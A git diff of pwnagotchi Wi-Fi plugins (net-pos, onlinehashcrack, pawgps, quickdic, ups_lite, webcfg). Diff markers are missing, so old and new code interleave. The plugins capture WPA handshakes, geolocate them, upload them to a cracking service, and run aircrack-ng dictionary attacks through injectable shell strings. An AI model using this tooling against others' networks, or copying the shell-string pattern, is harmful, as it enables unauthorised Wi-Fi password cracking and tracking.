|
||||
def cpu_load():
|
||||
return int(pwnagotchi.cpu_load() * 100)
|
||||
if self.options['orientation'] == "vertical":
|
||||
ui.add_element('memtemp', LabeledValue(color=BLACK, label='', value=' mem:-\n cpu:-\ntemp:-',
|
||||
position=v_pos,
|
||||
label_font=fonts.Small, text_font=fonts.Small))
|
||||
else:
|
||||
# default to horizontal
|
||||
ui.add_element('memtemp', LabeledValue(color=BLACK, label='', value='mem cpu temp\n - - -',
|
||||
position=h_pos,
|
||||
label_font=fonts.Small, text_font=fonts.Small))
|
||||
|
||||
def on_ui_update(self, ui):
|
||||
if self.options['scale'] == "fahrenheit":
|
||||
temp = (pwnagotchi.temperature() * 9 / 5) + 32
|
||||
symbol = "f"
|
||||
elif self.options['scale'] == "kelvin":
|
||||
temp = pwnagotchi.temperature() + 273.15
|
||||
symbol = "k"
|
||||
else:
|
||||
# default to celsius
|
||||
temp = pwnagotchi.temperature()
|
||||
symbol = "c"
|
||||
|
||||
def on_ui_setup(ui):
|
||||
if OPTIONS['orientation'] == "horizontal":
|
||||
ui.add_element('memtemp', LabeledValue(color=BLACK, label='', value='mem cpu temp\n - - -',
|
||||
position=(ui.width() / 2 + 30, ui.height() / 2 + 15),
|
||||
label_font=fonts.Small, text_font=fonts.Small))
|
||||
elif OPTIONS['orientation'] == "vertical":
|
||||
ui.add_element('memtemp', LabeledValue(color=BLACK, label='', value=' mem:-\n cpu:-\ntemp:-',
|
||||
position=(ui.width() / 2 + 55, ui.height() / 2),
|
||||
label_font=fonts.Small, text_font=fonts.Small))
|
||||
|
||||
|
||||
def on_ui_update(ui):
|
||||
if OPTIONS['orientation'] == "horizontal":
|
||||
ui.set('memtemp', " mem cpu temp\n %s%% %s%% %sc" % (mem_usage(), cpu_load(), pwnagotchi.temperature()))
|
||||
|
||||
elif OPTIONS['orientation'] == "vertical":
|
||||
ui.set('memtemp', " mem:%s%%\n cpu:%s%%\ntemp:%sc" % (mem_usage(), cpu_load(), pwnagotchi.temperature()))
|
||||
if self.options['orientation'] == "vertical":
|
||||
ui.set('memtemp',
|
||||
" mem:%s%%\n cpu:%s%%\ntemp:%s%s" % (self.mem_usage(), self.cpu_load(), temp, symbol))
|
||||
else:
|
||||
# default to horizontal
|
||||
ui.set('memtemp',
|
||||
" mem cpu temp\n %s%% %s%% %s%s" % (self.mem_usage(), self.cpu_load(), temp, symbol))
|
||||
|
@@ -1,140 +1,139 @@
|
||||
__author__ = 'zenzen san'
|
||||
__version__ = '2.0.0'
|
||||
__name__ = 'net-pos'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = """Saves a json file with the access points with more signal
|
||||
whenever a handshake is captured.
|
||||
When internet is available the files are converted in geo locations
|
||||
using Mozilla LocationService """
|
||||
|
||||
import logging
|
||||
import json
|
||||
import os
|
||||
import requests
|
||||
import time
|
||||
import pwnagotchi.plugins as plugins
|
||||
from pwnagotchi.utils import StatusFile
|
||||
|
||||
MOZILLA_API_URL = 'https://location.services.mozilla.com/v1/geolocate?key={api}'
|
||||
REPORT = StatusFile('/root/.net_pos_saved', data_format='json')
|
||||
SKIP = list()
|
||||
READY = False
|
||||
OPTIONS = dict()
|
||||
|
||||
|
||||
def on_loaded():
|
||||
global READY
|
||||
class NetPos(plugins.Plugin):
|
||||
__author__ = 'zenzen san'
|
||||
__version__ = '2.0.1'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = """Saves a json file with the access points with more signal
|
||||
whenever a handshake is captured.
|
||||
When internet is available the files are converted in geo locations
|
||||
using Mozilla LocationService """
|
||||
|
||||
if 'api_key' not in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None):
|
||||
logging.error("NET-POS: api_key isn't set. Can't use mozilla's api.")
|
||||
return
|
||||
def __init__(self):
|
||||
self.report = StatusFile('/root/.net_pos_saved', data_format='json')
|
||||
self.skip = list()
|
||||
self.ready = False
|
||||
|
||||
READY = True
|
||||
def on_loaded(self):
|
||||
if 'api_key' not in self.options or ('api_key' in self.options and self.options['api_key'] is None):
|
||||
logging.error("NET-POS: api_key isn't set. Can't use mozilla's api.")
|
||||
return
|
||||
|
||||
logging.info("net-pos plugin loaded.")
|
||||
self.ready = True
|
||||
logging.info("net-pos plugin loaded.")
|
||||
|
||||
def _append_saved(path):
|
||||
to_save = list()
|
||||
if isinstance(path, str):
|
||||
to_save.append(path)
|
||||
elif isinstance(path, list):
|
||||
to_save += path
|
||||
else:
|
||||
raise TypeError("Expected list or str, got %s" % type(path))
|
||||
def _append_saved(self, path):
|
||||
to_save = list()
|
||||
if isinstance(path, str):
|
||||
to_save.append(path)
|
||||
elif isinstance(path, list):
|
||||
to_save += path
|
||||
else:
|
||||
raise TypeError("Expected list or str, got %s" % type(path))
|
||||
|
||||
with open('/root/.net_pos_saved', 'a') as saved_file:
|
||||
for x in to_save:
|
||||
saved_file.write(x + "\n")
|
||||
with open('/root/.net_pos_saved', 'a') as saved_file:
|
||||
for x in to_save:
|
||||
saved_file.write(x + "\n")
|
||||
|
||||
def on_internet_available(agent):
|
||||
global SKIP
|
||||
global REPORT
|
||||
def on_internet_available(self, agent):
|
||||
if self.ready:
|
||||
config = agent.config()
|
||||
display = agent.view()
|
||||
reported = self.report.data_field_or('reported', default=list())
|
||||
handshake_dir = config['bettercap']['handshakes']
|
||||
|
||||
if READY:
|
||||
config = agent.config()
|
||||
display = agent.view()
|
||||
reported = REPORT.data_field_or('reported', default=list())
|
||||
handshake_dir = config['bettercap']['handshakes']
|
||||
all_files = os.listdir(handshake_dir)
|
||||
all_np_files = [os.path.join(handshake_dir, filename)
|
||||
for filename in all_files
|
||||
if filename.endswith('.net-pos.json')]
|
||||
new_np_files = set(all_np_files) - set(reported) - set(self.skip)
|
||||
|
||||
all_files = os.listdir(handshake_dir)
|
||||
all_np_files = [os.path.join(handshake_dir, filename)
|
||||
for filename in all_files
|
||||
if filename.endswith('.net-pos.json')]
|
||||
new_np_files = set(all_np_files) - set(reported) - set(SKIP)
|
||||
|
||||
if new_np_files:
|
||||
logging.info("NET-POS: Found %d new net-pos files. Fetching positions ...", len(new_np_files))
|
||||
display.set('status', f"Found {len(new_np_files)} new net-pos files. Fetching positions ...")
|
||||
display.update(force=True)
|
||||
for idx, np_file in enumerate(new_np_files):
|
||||
|
||||
geo_file = np_file.replace('.net-pos.json', '.geo.json')
|
||||
if os.path.exists(geo_file):
|
||||
# got already the position
|
||||
reported.append(np_file)
|
||||
REPORT.update(data={'reported': reported})
|
||||
continue
|
||||
|
||||
try:
|
||||
geo_data = _get_geo_data(np_file) # returns json obj
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
logging.error("NET-POS: %s", req_e)
|
||||
SKIP += np_file
|
||||
continue
|
||||
except json.JSONDecodeError as js_e:
|
||||
logging.error("NET-POS: %s", js_e)
|
||||
SKIP += np_file
|
||||
continue
|
||||
except OSError as os_e:
|
||||
logging.error("NET-POS: %s", os_e)
|
||||
SKIP += np_file
|
||||
continue
|
||||
|
||||
with open(geo_file, 'w+t') as sf:
|
||||
json.dump(geo_data, sf)
|
||||
|
||||
reported.append(np_file)
|
||||
REPORT.update(data={'reported': reported})
|
||||
|
||||
display.set('status', f"Fetching positions ({idx+1}/{len(new_np_files)})")
|
||||
if new_np_files:
|
||||
logging.info("NET-POS: Found %d new net-pos files. Fetching positions ...", len(new_np_files))
|
||||
display.set('status', f"Found {len(new_np_files)} new net-pos files. Fetching positions ...")
|
||||
display.update(force=True)
|
||||
for idx, np_file in enumerate(new_np_files):
|
||||
|
||||
geo_file = np_file.replace('.net-pos.json', '.geo.json')
|
||||
if os.path.exists(geo_file):
|
||||
# got already the position
|
||||
reported.append(np_file)
|
||||
self.report.update(data={'reported': reported})
|
||||
continue
|
||||
|
||||
def on_handshake(agent, filename, access_point, client_station):
|
||||
netpos = _get_netpos(agent)
|
||||
netpos_filename = filename.replace('.pcap', '.net-pos.json')
|
||||
logging.info("NET-POS: Saving net-location to %s", netpos_filename)
|
||||
try:
|
||||
geo_data = self._get_geo_data(np_file) # returns json obj
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
logging.error("NET-POS: %s - RequestException: %s", np_file, req_e)
|
||||
self.skip += np_file
|
||||
continue
|
||||
except json.JSONDecodeError as js_e:
|
||||
logging.error("NET-POS: %s - JSONDecodeError: %s", np_file, js_e)
|
||||
self.skip += np_file
|
||||
continue
|
||||
except OSError as os_e:
|
||||
logging.error("NET-POS: %s - OSError: %s", np_file, os_e)
|
||||
self.skip += np_file
|
||||
continue
|
||||
|
||||
try:
|
||||
with open(netpos_filename, 'w+t') as net_pos_file:
|
||||
json.dump(netpos, net_pos_file)
|
||||
except OSError as os_e:
|
||||
logging.error("NET-POS: %s", os_e)
|
||||
with open(geo_file, 'w+t') as sf:
|
||||
json.dump(geo_data, sf)
|
||||
|
||||
reported.append(np_file)
|
||||
self.report.update(data={'reported': reported})
|
||||
|
||||
def _get_netpos(agent):
|
||||
aps = agent.get_access_points()
|
||||
netpos = dict()
|
||||
netpos['wifiAccessPoints'] = list()
|
||||
# 6 seems a good number to save a wifi networks location
|
||||
for access_point in sorted(aps, key=lambda i: i['rssi'], reverse=True)[:6]:
|
||||
netpos['wifiAccessPoints'].append({'macAddress': access_point['mac'],
|
||||
'signalStrength': access_point['rssi']})
|
||||
return netpos
|
||||
display.set('status', f"Fetching positions ({idx + 1}/{len(new_np_files)})")
|
||||
display.update(force=True)
|
||||
|
||||
def _get_geo_data(path, timeout=30):
|
||||
geourl = MOZILLA_API_URL.format(api=OPTIONS['api_key'])
|
||||
def on_handshake(self, agent, filename, access_point, client_station):
|
||||
netpos = self._get_netpos(agent)
|
||||
netpos["ts"] = int("%.0f" % time.time())
|
||||
netpos_filename = filename.replace('.pcap', '.net-pos.json')
|
||||
logging.info("NET-POS: Saving net-location to %s", netpos_filename)
|
||||
|
||||
try:
|
||||
with open(path, "r") as json_file:
|
||||
data = json.load(json_file)
|
||||
except json.JSONDecodeError as js_e:
|
||||
raise js_e
|
||||
except OSError as os_e:
|
||||
raise os_e
|
||||
try:
|
||||
with open(netpos_filename, 'w+t') as net_pos_file:
|
||||
json.dump(netpos, net_pos_file)
|
||||
except OSError as os_e:
|
||||
logging.error("NET-POS: %s", os_e)
|
||||
|
||||
try:
|
||||
result = requests.post(geourl,
|
||||
json=data,
|
||||
timeout=timeout)
|
||||
return result.json()
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
raise req_e
|
||||
def _get_netpos(self, agent):
|
||||
aps = agent.get_access_points()
|
||||
netpos = dict()
|
||||
netpos['wifiAccessPoints'] = list()
|
||||
# 6 seems a good number to save a wifi networks location
|
||||
for access_point in sorted(aps, key=lambda i: i['rssi'], reverse=True)[:6]:
|
||||
netpos['wifiAccessPoints'].append({'macAddress': access_point['mac'],
|
||||
'signalStrength': access_point['rssi']})
|
||||
return netpos
|
||||
|
||||
def _get_geo_data(self, path, timeout=30):
|
||||
geourl = MOZILLA_API_URL.format(api=self.options['api_key'])
|
||||
|
||||
try:
|
||||
with open(path, "r") as json_file:
|
||||
data = json.load(json_file)
|
||||
except json.JSONDecodeError as js_e:
|
||||
raise js_e
|
||||
except OSError as os_e:
|
||||
raise os_e
|
||||
|
||||
try:
|
||||
result = requests.post(geourl,
|
||||
json=data,
|
||||
timeout=timeout)
|
||||
return_geo = result.json()
|
||||
if data["ts"]:
|
||||
return_geo["ts"] = data["ts"]
|
||||
return return_geo
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
raise req_e
|
||||
|
@@ -1,86 +1,105 @@
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '2.0.0'
|
||||
__name__ = 'onlinehashcrack'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin automatically uploads handshakes to https://onlinehashcrack.com'
|
||||
|
||||
import os
|
||||
import logging
|
||||
import re
|
||||
import requests
|
||||
from pwnagotchi.utils import StatusFile
|
||||
|
||||
READY = False
|
||||
REPORT = StatusFile('/root/.ohc_uploads', data_format='json')
|
||||
SKIP = list()
|
||||
OPTIONS = dict()
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
|
||||
def on_loaded():
|
||||
"""
|
||||
Gets called when the plugin gets loaded
|
||||
"""
|
||||
global READY
|
||||
class OnlineHashCrack(plugins.Plugin):
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '2.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin automatically uploads handshakes to https://onlinehashcrack.com'
|
||||
|
||||
if 'email' not in OPTIONS or ('email' in OPTIONS and OPTIONS['email'] is None):
|
||||
logging.error("OHC: Email isn't set. Can't upload to onlinehashcrack.com")
|
||||
return
|
||||
def __init__(self):
|
||||
self.ready = False
|
||||
self.report = StatusFile('/root/.ohc_uploads', data_format='json')
|
||||
self.skip = list()
|
||||
|
||||
READY = True
|
||||
def on_loaded(self):
|
||||
"""
|
||||
Gets called when the plugin gets loaded
|
||||
"""
|
||||
if 'email' not in self.options or ('email' in self.options and self.options['email'] is None):
|
||||
logging.error("OHC: Email isn't set. Can't upload to onlinehashcrack.com")
|
||||
return
|
||||
|
||||
if 'whitelist' not in self.options:
|
||||
self.options['whitelist'] = []
|
||||
|
||||
def _upload_to_ohc(path, timeout=30):
|
||||
"""
|
||||
Uploads the file to onlinehashcrack.com
|
||||
"""
|
||||
with open(path, 'rb') as file_to_upload:
|
||||
data = {'email': OPTIONS['email']}
|
||||
payload = {'file': file_to_upload}
|
||||
# remove special characters from whitelist APs to match on-disk format
|
||||
self.options['whitelist'] = set(map(lambda x: re.sub(r'[^a-zA-Z0-9]', '', x), self.options['whitelist']))
|
||||
|
||||
self.ready = True
|
||||
|
||||
def _filter_handshake_file(self, handshake_filename):
|
||||
try:
|
||||
result = requests.post('https://api.onlinehashcrack.com',
|
||||
data=data,
|
||||
files=payload,
|
||||
timeout=timeout)
|
||||
if 'already been sent' in result.text:
|
||||
logging.warning(f"{path} was already uploaded.")
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error(f"OHC: Got an exception while uploading {path} -> {e}")
|
||||
raise e
|
||||
basename = os.path.basename(handshake_filename)
|
||||
ssid, bssid = basename.split('_')
|
||||
# remove the ".pcap" from the bssid (which is really just the end of the filename)
|
||||
bssid = bssid[:-5]
|
||||
except:
|
||||
# something failed in our parsing of the filename. let the file through
|
||||
return True
|
||||
|
||||
return ssid not in self.options['whitelist'] and bssid not in self.options['whitelist']
|
||||
|
||||
def on_internet_available(agent):
|
||||
"""
|
||||
Called in manual mode when there's internet connectivity
|
||||
"""
|
||||
global REPORT
|
||||
global SKIP
|
||||
if READY:
|
||||
display = agent.view()
|
||||
config = agent.config()
|
||||
reported = REPORT.data_field_or('reported', default=list())
|
||||
def _upload_to_ohc(self, path, timeout=30):
|
||||
"""
|
||||
Uploads the file to onlinehashcrack.com
|
||||
"""
|
||||
with open(path, 'rb') as file_to_upload:
|
||||
data = {'email': self.options['email']}
|
||||
payload = {'file': file_to_upload}
|
||||
|
||||
handshake_dir = config['bettercap']['handshakes']
|
||||
handshake_filenames = os.listdir(handshake_dir)
|
||||
handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if filename.endswith('.pcap')]
|
||||
handshake_new = set(handshake_paths) - set(reported) - set(SKIP)
|
||||
try:
|
||||
result = requests.post('https://api.onlinehashcrack.com',
|
||||
data=data,
|
||||
files=payload,
|
||||
timeout=timeout)
|
||||
if 'already been sent' in result.text:
|
||||
logging.warning(f"{path} was already uploaded.")
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error(f"OHC: Got an exception while uploading {path} -> {e}")
|
||||
raise e
|
||||
|
||||
if handshake_new:
|
||||
logging.info("OHC: Internet connectivity detected. Uploading new handshakes to onelinehashcrack.com")
|
||||
def on_internet_available(self, agent):
|
||||
"""
|
||||
Called in manual mode when there's internet connectivity
|
||||
"""
|
||||
if self.ready:
|
||||
display = agent.view()
|
||||
config = agent.config()
|
||||
reported = self.report.data_field_or('reported', default=list())
|
||||
|
||||
for idx, handshake in enumerate(handshake_new):
|
||||
display.set('status', f"Uploading handshake to onlinehashcrack.com ({idx + 1}/{len(handshake_new)})")
|
||||
display.update(force=True)
|
||||
try:
|
||||
_upload_to_ohc(handshake)
|
||||
reported.append(handshake)
|
||||
REPORT.update(data={'reported': reported})
|
||||
logging.info(f"OHC: Successfully uploaded {handshake}")
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
SKIP.append(handshake)
|
||||
logging.error("OHC: %s", req_e)
|
||||
continue
|
||||
except OSError as os_e:
|
||||
SKIP.append(handshake)
|
||||
logging.error("OHC: %s", os_e)
|
||||
continue
|
||||
handshake_dir = config['bettercap']['handshakes']
|
||||
handshake_filenames = os.listdir(handshake_dir)
|
||||
handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if
|
||||
filename.endswith('.pcap')]
|
||||
|
||||
# pull out whitelisted APs
|
||||
handshake_paths = filter(lambda path: self._filter_handshake_file(path), handshake_paths)
|
||||
|
||||
handshake_new = set(handshake_paths) - set(reported) - set(self.skip)
|
||||
|
||||
if handshake_new:
|
||||
logging.info("OHC: Internet connectivity detected. Uploading new handshakes to onelinehashcrack.com")
|
||||
|
||||
for idx, handshake in enumerate(handshake_new):
|
||||
display.set('status',
|
||||
f"Uploading handshake to onlinehashcrack.com ({idx + 1}/{len(handshake_new)})")
|
||||
display.update(force=True)
|
||||
try:
|
||||
self._upload_to_ohc(handshake)
|
||||
reported.append(handshake)
|
||||
self.report.update(data={'reported': reported})
|
||||
logging.info(f"OHC: Successfully uploaded {handshake}")
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
self.skip.append(handshake)
|
||||
logging.error("OHC: %s", req_e)
|
||||
continue
|
||||
except OSError as os_e:
|
||||
self.skip.append(handshake)
|
||||
logging.error("OHC: %s", os_e)
|
||||
continue
|
||||
|
@@ -1,28 +1,33 @@
|
||||
__author__ = 'leont'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'pawgps'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'Saves GPS coordinates whenever an handshake is captured. The GPS data is get from PAW on android '
|
||||
import logging
|
||||
import requests
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
'''
|
||||
You need an bluetooth connection to your android phone which is running PAW server with the GPS "hack" from Systemic:
|
||||
You need an bluetooth connection to your android phone which is running PAW server with the GPS "hack" from Systemik and edited by shaynemk
|
||||
NEW BETTER GUIDE HERE: https://community.pwnagotchi.ai/t/setting-up-paw-gps-on-android
|
||||
|
||||
Old guide here, (not recommended if you plan on using it with the webgpsmap plugin)
|
||||
https://raw.githubusercontent.com/systemik/pwnagotchi-bt-tether/master/GPS-via-PAW
|
||||
'''
|
||||
|
||||
import logging
|
||||
import requests
|
||||
|
||||
OPTIONS = dict()
|
||||
class PawGPS(plugins.Plugin):
|
||||
__author__ = 'leont'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'pawgps'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'Saves GPS coordinates whenever an handshake is captured. The GPS data is get from PAW on android '
|
||||
|
||||
def on_loaded(self):
|
||||
logging.info("PAW-GPS loaded")
|
||||
if 'ip' not in self.options or ('ip' in self.options and self.options['ip'] is None):
|
||||
logging.info("PAW-GPS: No IP Address in the config file is defined, it uses the default (192.168.44.1)")
|
||||
|
||||
def on_loaded():
|
||||
logging.info("PAW-GPS loaded")
|
||||
if 'ip' not in OPTIONS or ('ip' in OPTIONS and OPTIONS['ip'] is None):
|
||||
logging.info("PAW-GPS: No IP Address in the config file is defined, it uses the default (192.168.44.1)")
|
||||
|
||||
def on_handshake(agent, filename, access_point, client_station):
|
||||
if 'ip' not in OPTIONS or ('ip' in OPTIONS and OPTIONS['ip'] is None):
|
||||
ip = "192.168.44.1"
|
||||
def on_handshake(self, agent, filename, access_point, client_station):
|
||||
if 'ip' not in self.options or ('ip' in self.options and self.options['ip'] is None):
|
||||
ip = "192.168.44.1:8080"
|
||||
else:
|
||||
ip = self.options['ip']
|
||||
|
||||
gps = requests.get('http://' + ip + '/gps.xhtml')
|
||||
gps_filename = filename.replace('.pcap', '.gps.json')
|
||||
|
@@ -1,52 +0,0 @@
|
||||
__author__ = 'pwnagotchi [at] rossmarks [dot] uk'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'quickdic'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'Run a quick dictionary scan against captured handshakes'
|
||||
|
||||
'''
|
||||
Aircrack-ng needed, to install:
|
||||
> apt-get install aircrack-ng
|
||||
Upload wordlist files in .txt format to folder in config file (Default: /opt/wordlists/)
|
||||
Cracked handshakes stored in handshake folder as [essid].pcap.cracked
|
||||
'''
|
||||
|
||||
import logging
|
||||
import subprocess
|
||||
import string
|
||||
import re
|
||||
|
||||
OPTIONS = dict()
|
||||
|
||||
def on_loaded():
|
||||
logging.info("Quick dictionary check plugin loaded")
|
||||
|
||||
def on_handshake(agent, filename, access_point, client_station):
|
||||
display = agent._view
|
||||
|
||||
result = subprocess.run(('/usr/bin/aircrack-ng '+ filename +' | grep "1 handshake" | awk \'{print $2}\''),shell=True, stdout=subprocess.PIPE)
|
||||
result = result.stdout.decode('utf-8').translate({ord(c) :None for c in string.whitespace})
|
||||
if not result:
|
||||
logging.info("[quickdic] No handshake")
|
||||
else:
|
||||
logging.info("[quickdic] Handshake confirmed")
|
||||
result2 = subprocess.run(('aircrack-ng -w `echo '+OPTIONS['wordlist_folder']+'*.txt | sed \'s/\ /,/g\'` -l '+filename+'.cracked -q -b '+result+' '+filename+' | grep KEY'),shell=True,stdout=subprocess.PIPE)
|
||||
result2 = result2.stdout.decode('utf-8').strip()
|
||||
logging.info("[quickdic] "+result2)
|
||||
if result2 != "KEY NOT FOUND":
|
||||
key = re.search('\[(.*)\]', result2)
|
||||
pwd = str(key.group(1))
|
||||
set_text("Cracked password: "+pwd)
|
||||
display.update(force=True)
|
||||
|
||||
text_to_set = "";
|
||||
def set_text(text):
|
||||
global text_to_set
|
||||
text_to_set = text
|
||||
|
||||
def on_ui_update(ui):
|
||||
global text_to_set
|
||||
if text_to_set:
|
||||
ui.set('face', "(·ω·)")
|
||||
ui.set('status', text_to_set)
|
||||
text_to_set = ""
|
@@ -1,24 +0,0 @@
|
||||
__author__ = 'pwnagotchi [at] rossmarks [dot] uk'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'screen_refresh'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'Refresh he e-ink display after X amount of updates'
|
||||
|
||||
import logging
|
||||
|
||||
OPTIONS = dict()
|
||||
update_count = 0;
|
||||
|
||||
|
||||
def on_loaded():
|
||||
logging.info("Screen refresh plugin loaded")
|
||||
|
||||
|
||||
def on_ui_update(ui):
|
||||
global update_count
|
||||
update_count += 1
|
||||
if update_count == OPTIONS['refresh_interval']:
|
||||
ui.init_display()
|
||||
ui.set('status', "Screen cleaned")
|
||||
logging.info("Screen refreshing")
|
||||
update_count = 0
|
@@ -1,50 +0,0 @@
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'twitter'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin creates tweets about the recent activity of pwnagotchi'
|
||||
|
||||
import logging
|
||||
from pwnagotchi.voice import Voice
|
||||
|
||||
OPTIONS = dict()
|
||||
|
||||
def on_loaded():
|
||||
logging.info("twitter plugin loaded.")
|
||||
|
||||
|
||||
# called in manual mode when there's internet connectivity
|
||||
def on_internet_available(agent):
|
||||
config = agent.config()
|
||||
display = agent.view()
|
||||
last_session = agent.last_session
|
||||
|
||||
if last_session.is_new() and last_session.handshakes > 0:
|
||||
try:
|
||||
import tweepy
|
||||
except ImportError:
|
||||
logging.error("Couldn't import tweepy")
|
||||
return
|
||||
|
||||
logging.info("detected a new session and internet connectivity!")
|
||||
|
||||
picture = '/dev/shm/pwnagotchi.png'
|
||||
|
||||
display.on_manual_mode(last_session)
|
||||
display.update(force=True)
|
||||
display.image().save(picture, 'png')
|
||||
display.set('status', 'Tweeting...')
|
||||
display.update(force=True)
|
||||
|
||||
try:
|
||||
auth = tweepy.OAuthHandler(OPTIONS['consumer_key'], OPTIONS['consumer_secret'])
|
||||
auth.set_access_token(OPTIONS['access_token_key'], OPTIONS['access_token_secret'])
|
||||
api = tweepy.API(auth)
|
||||
|
||||
tweet = Voice(lang=config['main']['lang']).on_last_session_tweet(last_session)
|
||||
api.update_with_media(filename=picture, status=tweet)
|
||||
last_session.save_session_id()
|
||||
|
||||
logging.info("tweeted: %s" % tweet)
|
||||
except Exception as e:
|
||||
logging.exception("error while tweeting")
|
@@ -1,22 +0,0 @@
|
||||
__author__ = 'diemelcw@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'unfiltered_example'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'An example plugin for pwnagotchi that implements on_unfiltered_ap_list(agent,aps)'
|
||||
|
||||
import logging
|
||||
|
||||
# Will be set with the options in config.yml config['main']['plugins'][__name__]
|
||||
OPTIONS = dict()
|
||||
|
||||
# called when the plugin is loaded
|
||||
def on_loaded():
|
||||
logging.warning("%s plugin loaded" % __name__)
|
||||
|
||||
# called when AP list is ready, before whitelist filtering has occurred
|
||||
def on_unfiltered_ap_list(agent,aps):
|
||||
logging.info("Unfiltered AP list to follow")
|
||||
for ap in aps:
|
||||
logging.info(ap['hostname'])
|
||||
|
||||
## Additional logic here ##
|
@@ -7,17 +7,12 @@
|
||||
# For Raspberry Pi Zero Ups Power Expansion Board with Integrated Serial Port S3U4
|
||||
# https://www.ebay.de/itm/For-Raspberry-Pi-Zero-Ups-Power-Expansion-Board-with-Integrated-Serial-Port-S3U4/323873804310
|
||||
# https://www.aliexpress.com/item/32888533624.html
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'ups_lite'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'A plugin that will add a voltage indicator for the UPS Lite v1.1'
|
||||
|
||||
import struct
|
||||
|
||||
from pwnagotchi.ui.components import LabeledValue
|
||||
from pwnagotchi.ui.view import BLACK
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
|
||||
# TODO: add enable switch in config.yml an cleanup all to the best place
|
||||
@@ -47,18 +42,21 @@ class UPS:
|
||||
return 0.0
|
||||
|
||||
|
||||
ups = None
|
||||
class UPSLite(plugins.Plugin):
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'A plugin that will add a voltage indicator for the UPS Lite v1.1'
|
||||
|
||||
def __init__(self):
|
||||
self.ups = None
|
||||
|
||||
def on_loaded():
|
||||
global ups
|
||||
ups = UPS()
|
||||
def on_loaded(self):
|
||||
self.ups = UPS()
|
||||
|
||||
def on_ui_setup(self, ui):
|
||||
ui.add_element('ups', LabeledValue(color=BLACK, label='UPS', value='0%/0V', position=(ui.width() / 2 + 15, 0),
|
||||
label_font=fonts.Bold, text_font=fonts.Medium))
|
||||
|
||||
def on_ui_setup(ui):
|
||||
ui.add_element('ups', LabeledValue(color=BLACK, label='UPS', value='0%/0V', position=(ui.width() / 2 - 25, 0),
|
||||
label_font=fonts.Bold, text_font=fonts.Medium))
|
||||
|
||||
|
||||
def on_ui_update(ui):
|
||||
ui.set('ups', "%4.2fV/%2i%%" % (ups.voltage(), ups.capacity()))
|
||||
def on_ui_update(self, ui):
|
||||
ui.set('ups', "%2i%%" % self.ups.capacity())
|
||||
|
511
pwnagotchi/plugins/default/webcfg.py
Normal file
@@ -0,0 +1,511 @@
|
||||
import logging
|
||||
import json
|
||||
import yaml
|
||||
import _thread
|
||||
import pwnagotchi.plugins as plugins
|
||||
from pwnagotchi import restart
|
||||
from flask import abort
|
||||
from flask import render_template_string
|
||||
|
||||
|
||||
INDEX = """
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, user-scalable=0" />
|
||||
<title>
|
||||
webcfg
|
||||
</title>
|
||||
<style>
|
||||
#divTop {
|
||||
position: -webkit-sticky;
|
||||
position: sticky;
|
||||
top: 0px;
|
||||
width: 100%;
|
||||
font-size: 16px;
|
||||
padding: 5px;
|
||||
border: 1px solid #ddd;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
#searchText {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
table {
|
||||
table-layout: auto;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
table, th, td {
|
||||
border: 1px solid black;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
th, td {
|
||||
padding: 15px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
table tr:nth-child(even) {
|
||||
background-color: #eee;
|
||||
}
|
||||
|
||||
table tr:nth-child(odd) {
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
table th {
|
||||
background-color: black;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.remove {
|
||||
background-color: #f44336;
|
||||
color: white;
|
||||
border: 2px solid #f44336;
|
||||
padding: 4px 8px;
|
||||
text-align: center;
|
||||
text-decoration: none;
|
||||
display: inline-block;
|
||||
font-size: 12px;
|
||||
margin: 4px 2px;
|
||||
-webkit-transition-duration: 0.4s; /* Safari */
|
||||
transition-duration: 0.4s;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.remove:hover {
|
||||
background-color: white;
|
||||
color: black;
|
||||
}
|
||||
|
||||
#btnSave {
|
||||
position: -webkit-sticky;
|
||||
position: sticky;
|
||||
bottom: 0px;
|
||||
width: 100%;
|
||||
